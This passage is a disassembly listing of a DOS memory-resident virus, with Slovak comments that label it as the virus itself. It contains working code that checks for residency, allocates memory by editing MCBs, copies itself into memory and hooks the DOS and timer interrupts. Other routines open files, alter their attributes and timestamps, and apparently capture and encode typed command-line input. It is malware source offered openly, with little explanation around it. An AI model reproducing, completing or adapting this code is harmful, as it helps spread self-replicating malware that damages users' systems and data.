|
|||
|
jmp short loc_34 ;(0595)
|
|||
|
loc_33:
|
|||
|
mov ds:data_20e,ax ;(8002:0020=0)
|
|||
|
mov word ptr ds:data_19e,55Ah ; (8002:001E=0)
|
|||
|
mul word ptr ds:data_38e ;(8002:0062=0) ax = data * ax
|
|||
|
add ax,0BE5h
|
|||
|
adc dx,0
|
|||
|
div word ptr ds:data_39e ;(8002:0066=0) ax,dxrem=dx:ax/data
|
|||
|
inc ax
|
|||
|
mov ds:data_12e,ax ;(8002:000E=0)
|
|||
|
mov word ptr ds:data_9e+2,dx ; (8002:000C=0)
|
|||
|
mov ax,ds:data_15e ;(8002:0012=0)
|
|||
|
sub ds:data_20e,ax ;(8002:0020=0)
|
|||
|
mov si,14h
|
|||
|
call sub_1 ;(01EA)
|
|||
|
mov si,16h
|
|||
|
call sub_1 ;(01EA)
|
|||
|
loc_34:
|
|||
|
xor cx,cx ;Zero register
|
|||
|
mov dx,cx
|
|||
|
call sub_4 ;(0220)
|
|||
|
mov dx,0Ah
|
|||
|
mov cx,20h
|
|||
|
call sub_2 ;(0212)
|
|||
|
loc_35:
|
|||
|
call sub_14 ;(090C)
|
|||
|
push word ptr ss:data_12e[bp] ; (8002:000E=0)
|
|||
|
push word ptr ss:data_7e[bp] ;(8002:0006=0)
|
|||
|
call sub_10 ;(0681)
|
|||
|
add sp,4
|
|||
|
loc_36:
|
|||
|
mov byte ptr ds:data_34e,0FFh ; (8002:005C=0)
|
|||
|
mov ds,ss:data_12e[bp] ;(8002:000E=0)
|
|||
|
mov dx,ss:data_7e[bp] ;(8002:0006=0)
|
|||
|
call sub_11 ;(07ED)
|
|||
|
mov bx,21h
|
|||
|
db 0C1h, 0E3h, 2, 0B8h, 0, 0
|
|||
|
db 8Eh, 0C0h, 0FBh, 8Ch, 0C8h, 26h
|
|||
|
db 89h, 47h, 2, 0B8h, 0EAh, 0
|
|||
|
db 26h, 89h, 7, 0FAh, 58h, 5Bh
|
|||
|
db 59h, 5Ah, 5Eh, 5Fh, 5Dh, 1Fh
|
|||
|
db 7, 9Dh
|
|||
|
|
|||
|
DOS_return: pushf ;Push flags
|
|||
|
push cs
|
|||
|
push word ptr cs:data_40e ;(8002:0068=0)
|
|||
|
cmp byte ptr cs:data_32e,0 ;(8002:005A=0)
|
|||
|
jne loc_38 ;Jump if not equal
|
|||
|
iret ;Interrupt return
|
|||
|
|
|||
|
loc_38: push bp
|
|||
|
mov bp,sp
|
|||
|
or word ptr ss:data_7e[bp],100h ; (8002:0006=0)
|
|||
|
mov byte ptr cs:data_32e,0 ;(8002:005A=0)
|
|||
|
pop bp
|
|||
|
iret ;Interrupt return
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_9: push bp
|
|||
|
mov bp,sp
|
|||
|
push es
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
mov ax,3300h
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov ds:data_35e,dl ;(8002:005D=0)
|
|||
|
mov ax,3301h
|
|||
|
xor dl,dl ;Zero register
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov ax,3524h
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov ds:data_25e,es ;(8002:0034=8002h)
|
|||
|
mov ds:data_24e,bx ;(8002:0032=0)
|
|||
|
mov dx,0C7h
|
|||
|
mov ax,2524h
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov ax,4300h
|
|||
|
push ds
|
|||
|
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
|||
|
call sub_7 ;(0229)
|
|||
|
pop ds
|
|||
|
jc loc_41 ;Jump if carry Set
|
|||
|
mov ds:data_31e,cl ;(8002:0058=0)
|
|||
|
test cl,1
|
|||
|
jz loc_39 ;Jump if zero
|
|||
|
mov ax,4301h
|
|||
|
push ds
|
|||
|
xor cx,cx ;Zero register
|
|||
|
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
|||
|
call sub_7 ;(0229)
|
|||
|
pop ds
|
|||
|
jc loc_41 ;Jump if carry Set
|
|||
|
loc_39:
|
|||
|
mov ax,3D02h
|
|||
|
push ds
|
|||
|
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
|||
|
call sub_7 ;(0229)
|
|||
|
pop ds
|
|||
|
jc loc_40 ;Jump if carry Set
|
|||
|
mov ds:data_27e,ax ;(8002:003A=0)
|
|||
|
mov ax,5700h
|
|||
|
call sub_6 ;(0224)
|
|||
|
mov ds:data_28e,cx ;(8002:003C=0)
|
|||
|
mov ds:data_29e,dx ;(8002:003E=0)
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
pop es
|
|||
|
pop bp
|
|||
|
clc ;Clear carry flag
|
|||
|
retn
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_10:
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
push es
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
mov cx,ds:data_28e ;(8002:003C=0)
|
|||
|
mov dx,ds:data_29e ;(8002:003E=0)
|
|||
|
mov ax,5701h
|
|||
|
call sub_6 ;(0224)
|
|||
|
mov ah,3Eh ;'>'
|
|||
|
call sub_6 ;(0224)
|
|||
|
loc_40:
|
|||
|
mov cl,ds:data_31e ;(8002:0058=0)
|
|||
|
xor cl,20h ;' '
|
|||
|
and cl,3Fh ;'?'
|
|||
|
test cl,21h ;'!'
|
|||
|
jz loc_41 ;Jump if zero
|
|||
|
mov ax,4301h
|
|||
|
push ds
|
|||
|
xor ch,ch ;Zero register
|
|||
|
mov cl,ds:data_31e ;(8002:0058=0)
|
|||
|
lds dx,dword ptr ss:data_6e[bp] ; (8002:0004=0) Load 32 bit ptr
|
|||
|
call sub_7
|
|||
|
pop ds
|
|||
|
loc_41:
|
|||
|
mov ax,2524h
|
|||
|
push ds
|
|||
|
lds dx,dword ptr ds:data_24e ; (8002:0032=0) Load 32 bit ptr
|
|||
|
call sub_7 ; (0229)
|
|||
|
pop ds
|
|||
|
data_43 dw 168Ah
|
|||
|
db 5Dh, 0, 0B8h, 1, 33h, 0E8h
|
|||
|
db 57h, 0FBh, 58h, 5Bh, 59h, 5Ah
|
|||
|
db 7, 5Dh, 0F9h, 0C3h
|
|||
|
|
|||
|
; ------------------------------------------------------------------------
|
|||
|
; Start samotneho vira
|
|||
|
; ------------------------------------------------------------------------
|
|||
|
start_virus: call start_virus_ ;Push offset start_virus_
|
|||
|
start_virus_: pop bx
|
|||
|
sub bx,start_virus_-run ;BX = offset run
|
|||
|
mov byte ptr cs:[bx+data_34e],0FFh ;(8002:005C=0)
|
|||
|
cld
|
|||
|
cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
|
|||
|
je loc_42
|
|||
|
mov si,old_bytes-run
|
|||
|
add si,bx ;SI = off old_bytes
|
|||
|
mov di,offset start
|
|||
|
mov cx,20h ;Length backup ...
|
|||
|
rep movsb ;Restore original program
|
|||
|
|
|||
|
push cs
|
|||
|
mov cx,100h
|
|||
|
push cx ;Push CS:0100h
|
|||
|
push es ;Backup ES,DS,AX
|
|||
|
push ds
|
|||
|
push ax
|
|||
|
jmp short obskok_1
|
|||
|
|
|||
|
loc_42: mov dx,ds
|
|||
|
add dx,10h
|
|||
|
add dx,cs:data_20e ;(8002:0020=0)
|
|||
|
push dx
|
|||
|
push word ptr cs:data_19e ;(8002:001E=0)
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push ax
|
|||
|
|
|||
|
obskok_1: push bx ;Backup BX (offset run)
|
|||
|
clc ;Clear carry flag
|
|||
|
mov ax,0C603h ;Neexistujuca funkcia DOS
|
|||
|
int 21h ;Test pritomnosti v RAM
|
|||
|
pop bx ;Restore offset run
|
|||
|
jnc install ;Install virus if not allow
|
|||
|
cmp ax,1
|
|||
|
ja vir_in_memory ;Jump if virus in memory
|
|||
|
call sub_19
|
|||
|
|
|||
|
vir_in_memory: pop ax ;Restore AX,DS,ES
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
retf ;Jump to original prog.(100h)
|
|||
|
|
|||
|
install: cmp byte ptr cs:[bx+data_33e],0 ;(8002:005B=0)
|
|||
|
je loc_43 ;Jump if equal
|
|||
|
cmp sp,0FFF0h
|
|||
|
jb vir_in_memory
|
|||
|
|
|||
|
loc_43: mov ax,ds ;Set ES to MCB
|
|||
|
dec ax
|
|||
|
mov es,ax
|
|||
|
cmp byte ptr es:MCB_type,'Z' ;This memory block is last ?
|
|||
|
je loc_45
|
|||
|
push bx ;Backup offset run
|
|||
|
mov ah,48h
|
|||
|
mov bx,0FFFFh ;Maximum
|
|||
|
int 21h ;Test available memory block
|
|||
|
|
|||
|
cmp bx,0CFh ;Je aspon kusok volneho ?
|
|||
|
jb loc_44
|
|||
|
mov ah,48h ;Zaalokuj vsetko co je k disp.
|
|||
|
int 21h
|
|||
|
|
|||
|
loc_44: pop bx ;Restore offset RUN
|
|||
|
jc vir_in_memory ;Let it be if not enought mem.
|
|||
|
|
|||
|
dec ax ;Decr. segment adress mem block
|
|||
|
mov es,ax ;ES - MCB for allocated block
|
|||
|
cli
|
|||
|
mov word ptr es:MCB_owner,0 ;Nastav vlastnika bloku na 0
|
|||
|
cmp byte ptr es:MCB_type,'Z';Last memory block ?
|
|||
|
jne vir_in_memory
|
|||
|
|
|||
|
add ax,es:MCB_size
|
|||
|
inc ax
|
|||
|
mov es:data_3e,ax ;0012
|
|||
|
|
|||
|
loc_45: mov ax,es:MCB_size ;AX - size of memory block
|
|||
|
sub ax,0CFh ; - virus size
|
|||
|
jc vir_in_memory ;Jump if error size
|
|||
|
|
|||
|
mov es:MCB_size,ax ;Set new value
|
|||
|
sub word ptr es:data_3e,0CFh ;0012 ??????
|
|||
|
mov es,es:data_3e ;0012
|
|||
|
xor di,di
|
|||
|
mov si,bx ;CS:SI = RUN, ES:DI =new block
|
|||
|
mov cx,0BE5h ;CX = virus length
|
|||
|
rep movs byte ptr es:[di],cs:[si] ;Copy virus to new block
|
|||
|
push es
|
|||
|
pop ds ;DS - new segment
|
|||
|
push bx ;Backup RUN
|
|||
|
mov ax,3521h
|
|||
|
int 21h ;ES:BX = getinterupt (21h)
|
|||
|
|
|||
|
mov word ptr ds:old_21+2,es ;Backup
|
|||
|
mov ds:old_21,bx
|
|||
|
mov ds:data_23e,es ;0030
|
|||
|
mov ds:data_22e,bx ;002E
|
|||
|
mov ax,351Ch
|
|||
|
int 21h ;ES:BX = geninterrupt (1Ch)
|
|||
|
|
|||
|
mov word ptr ds:old_1c+2,es ;Backup
|
|||
|
mov ds:old_1c,bx
|
|||
|
pop bx ;Restore offset RUN
|
|||
|
mov ax,2521h
|
|||
|
mov dx,0EAh ;New
|
|||
|
int 21h ;Redefine DOS interrupt
|
|||
|
|
|||
|
mov dx,7Fh ;New
|
|||
|
pushf
|
|||
|
mov ax,bx
|
|||
|
add ax,vir_in_memory-run
|
|||
|
push cs ;Push far adr. vir_in_memory
|
|||
|
push ax
|
|||
|
cli
|
|||
|
|
|||
|
pushf ;Push flag
|
|||
|
pop ax ;Pop flag
|
|||
|
or ax,100h ;Clear Trace flag (No step)
|
|||
|
push ax ;Push modif. flag
|
|||
|
|
|||
|
mov ax,bx ;Offset RUN
|
|||
|
add ax,loc_iret-run
|
|||
|
push cs ;Push loc_iret far adress
|
|||
|
push ax
|
|||
|
mov ax,251Ch ;Set parameters for DOS int.
|
|||
|
mov byte ptr ds:data_30e,1 ;0056
|
|||
|
iret ;Jmp to loc_iret
|
|||
|
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
; SUBROUTINE
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
sub_11: mov cx,50h
|
|||
|
mov si,dx
|
|||
|
cld ;Clear direction
|
|||
|
xor ax,ax ;Zero register
|
|||
|
mov cs:data_56,ax ;(8002:0C12=0)
|
|||
|
|
|||
|
locloop_46:
|
|||
|
inc cs:data_56 ;(8002:0C12=0)
|
|||
|
lodsb ;String [si] to al
|
|||
|
or al,al ;Zero ?
|
|||
|
loopnz locloop_46 ;Loop if zf=0, cx>0
|
|||
|
|
|||
|
dec cs:data_56 ;(8002:0C12=0)
|
|||
|
mov si,dx
|
|||
|
sub cs:data_56,9 ;(8002:0C12=0)
|
|||
|
add si,cs:data_56 ;(8002:0C12=0)
|
|||
|
mov di,978h
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov cx,9
|
|||
|
cld ;Clear direction
|
|||
|
repe cmpsb ;Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|||
|
jz loc_47 ;Jump if zero
|
|||
|
jmp short loc_51 ;(086C)
|
|||
|
db 90h
|
|||
|
loc_47:
|
|||
|
mov ah,62h ;'b'
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov ds,bx
|
|||
|
mov si,80h
|
|||
|
cld ;Clear direction
|
|||
|
lodsb ;String [si] to al
|
|||
|
cmp al,1
|
|||
|
ja loc_48 ;Jump if above
|
|||
|
mov byte ptr cs:data_58,1 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
jmp short loc_51 ;(086C)
|
|||
|
db 90h
|
|||
|
loc_48:
|
|||
|
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ds,bx
|
|||
|
mov cx,0Fh
|
|||
|
mov si,82h
|
|||
|
mov di,0BE6h
|
|||
|
cld ;Clear direction
|
|||
|
|
|||
|
locloop_49:
|
|||
|
lodsb ;String [si] to al
|
|||
|
cmp al,61h ;'a'
|
|||
|
jb loc_50 ;Jump if below
|
|||
|
and al,0DFh
|
|||
|
loc_50:
|
|||
|
add al,62h ;'b'
|
|||
|
stosb ;Store al to es:[di]
|
|||
|
cmp al,6Fh ;'o'
|
|||
|
loopnz locloop_49 ;Loop if zf=0, cx>0
|
|||
|
|
|||
|
mov al,6Fh ;'o'
|
|||
|
stosb ;Store al to es:[di]
|
|||
|
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
loc_51:
|
|||
|
mov cs:data_56,0 ;(8002:0C12=0)
|
|||
|
retn
|
|||
|
|
|||
|
DOS_input_: pushf ;Push flags
|
|||
|
push cs
|
|||
|
call sub_12
|
|||
|
push ax
|
|||
|
push ds
|
|||
|
push si
|
|||
|
push di
|
|||
|
push es
|
|||
|
mov ah,cs:data_58 ;(8002:0C16=0)
|
|||
|
cmp ah,0
|
|||
|
je loc_54
|
|||
|
cmp ah,1
|
|||
|
je loc_53
|
|||
|
mov di,0BF6h
|
|||
|
call sub_13
|
|||
|
jnz loc_54 ;Jump if not zero
|
|||
|
mov byte ptr cs:data_58,0 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
mov byte ptr cs:data_59,1 ;(8002:0C17=0)
|
|||
|
nop
|
|||
|
jmp short loc_54
|
|||
|
nop
|
|||
|
|
|||
|
loc_53: mov di,0BE6h
|
|||
|
call sub_13 ;(08C8)
|
|||
|
jnz loc_54 ;Jump if not zero
|
|||
|
mov byte ptr cs:data_58,2 ;(8002:0C16=0)
|
|||
|
nop
|
|||
|
mov cs:data_56,0 ;(8002:0C12=0)
|
|||
|
|
|||
|
loc_54: pop es
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop ax
|
|||
|
popf ;Pop flags
|
|||
|
iret ;Interrupt return
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_12: jmp dword ptr cs:data_22e ;(8002:002E=0)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_13: add di,cs:data_56 ;(8002:0C12=0)
|
|||
|
cmp al,8
|
|||
|
jne loc_55 ;Jump if not equal
|
|||
|
cmp cs:data_56,0 ;(8002:0C12=0)
|
|||
|
je loc_57 ;Jump if equal
|
|||
|
dec cs:data_56 ;(8002:0C12=0)
|
|||
|
jmp short loc_57 ;(0906)
|
|||
|
db 90h
|
|||
|
loc_55:
|
|||
|
cmp al,61h ;'a'
|
|||
|
jb loc_56 ;Jump if below
|
|||
|
and al,0DFh
|
|||
|
loc_56:
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
inc cs:data_56 ;(8002:0C12=0)
|
|||
|
cmp cs:data_56,10h ;(8002:0C12=0)
|
|||
|
jne loc_57 ;Jump if not equal
|
|||
|
dec cs:data_56 ;(8002:0C12=0)
|
|||
|
cmp al,0Dh
|
|||
|
jne loc_57 ;Jump if not equal
|
|||
|
mov cs:data_56,0 ;(8002:0C12=0)
|
|||
|
loc_57:
|
|||
|
add al,62h ;'b'
|
|||
|
stosb ;Store al to es:[di]
|
|||
|
cmp al,6Fh ;'o'
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_14: mov al,2
|
|||
|
mov cx,0FFFFh
|
|||
|
mov dx,0FFFCh
|
|||
|
call sub_5 ;(0222)
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,0
|
|||
|
mov cx,2
|
|||
|
call sub_3 ;(0216)
|
|||
|
mov ax,ds:data_4e ;(8002:0000=0)
|
|||
|
cmp ax,6262h
|
|||
|
jne loc_61 ;Jump if not equal
|
|||
|
mov cx,10h
|
|||
|
|
|||
|
locloop_58:
|
|||
|
push cx
|
|||
|
mov ax,26h
|
|||
|
dec cx
|
|||
|
mul cx ;dx:ax = reg * ax
|
|||
|
mov dx,0FD9Ch
|
|||
|
add dx,ax
|
|||
|
mov al,2
|
|||
|
mov cx,0FFFFh
|
|||
|
call sub_5 ;(0222)
|
|||
|
mov dx,0BE6h
|
|||
|
mov cx,26h
|
|||
|
call sub_3 ;(0216)
|
|||
|
jc loc_60 ;Jump if carry Set
|
|||
|
cmp byte ptr data_48,82h ;(8002:0BE6=0)
|
|||
|
jb loc_59 ;Jump if below
|
|||
|
call sub_15 ;(0979)
|
|||
|
loc_59:
|
|||
|
pop cx
|
|||
|
loop locloop_58 ;Loop if cx > 0
|
|||
|
|
|||
|
jmp short loc_60 ;(095C)
|
|||
|
db 90h
|
|||
|
loc_60:
|
|||
|
mov al,2
|
|||
|
mov cx,0FFFFh
|
|||
|
mov dx,0FD9Ch
|
|||
|
call sub_5 ;(0222)
|
|||
|
mov dx,981h
|
|||
|
mov cx,263h
|
|||
|
nop
|
|||
|
call sub_2 ;(0212)
|
|||
|
loc_61:
|
|||
|
mov cs:data_56,0 ;(8002:0C12=0)
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_15: call sub_17 ;(0A7A)
|
|||
|
cmp cs:data_56,0Fh ;(8002:0C12=0)
|
|||
|
je loc_64 ;Jump if equal
|
|||
|
mov si,981h
|
|||
|
mov ax,26h
|
|||
|
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
|||
|
add si,ax
|
|||
|
mov ax,cs:data_50 ;(8002:0C06=0)
|
|||
|
cmp cs:data_20e[si],ax ;(8002:0020=0)
|
|||
|
nop
|
|||
|
jc loc_62 ;Jump if carry Set
|
|||
|
mov ax,cs:data_51 ;(8002:0C08=0)
|
|||
|
cmp cs:[si+22h],ax
|
|||
|
nop
|
|||
|
jc loc_62 ;Jump if carry Set
|
|||
|
mov ax,cs:data_52 ;(8002:0C0A=0)
|
|||
|
cmp cs:[si+24h],ax
|
|||
|
nop
|
|||
|
ja loc_ret_63 ;Jump if above
|
|||
|
loc_62:
|
|||
|
call sub_18 ;(0AB0)
|
|||
|
|
|||
|
loc_ret_63:
|
|||
|
retn
|
|||
|
loc_64:
|
|||
|
mov cs:data_57,0Fh ;(8002:0C14=0)
|
|||
|
mov cs:data_53,0 ;(8002:0C0C=0)
|
|||
|
mov cs:data_54,0 ;(8002:0C0E=0)
|
|||
|
mov cs:data_55,0 ;(8002:0C10=0)
|
|||
|
loc_65:
|
|||
|
dec cs:data_57 ;(8002:0C14=0)
|
|||
|
jz loc_62 ;Jump if zero
|
|||
|
mov si,981h
|
|||
|
mov ax,26h
|
|||
|
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
|
|||
|
add ax,26h
|
|||
|
add si,ax
|
|||
|
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
|||
|
or ax,ax ;Zero ?
|
|||
|
jz loc_67 ;Jump if zero
|
|||
|
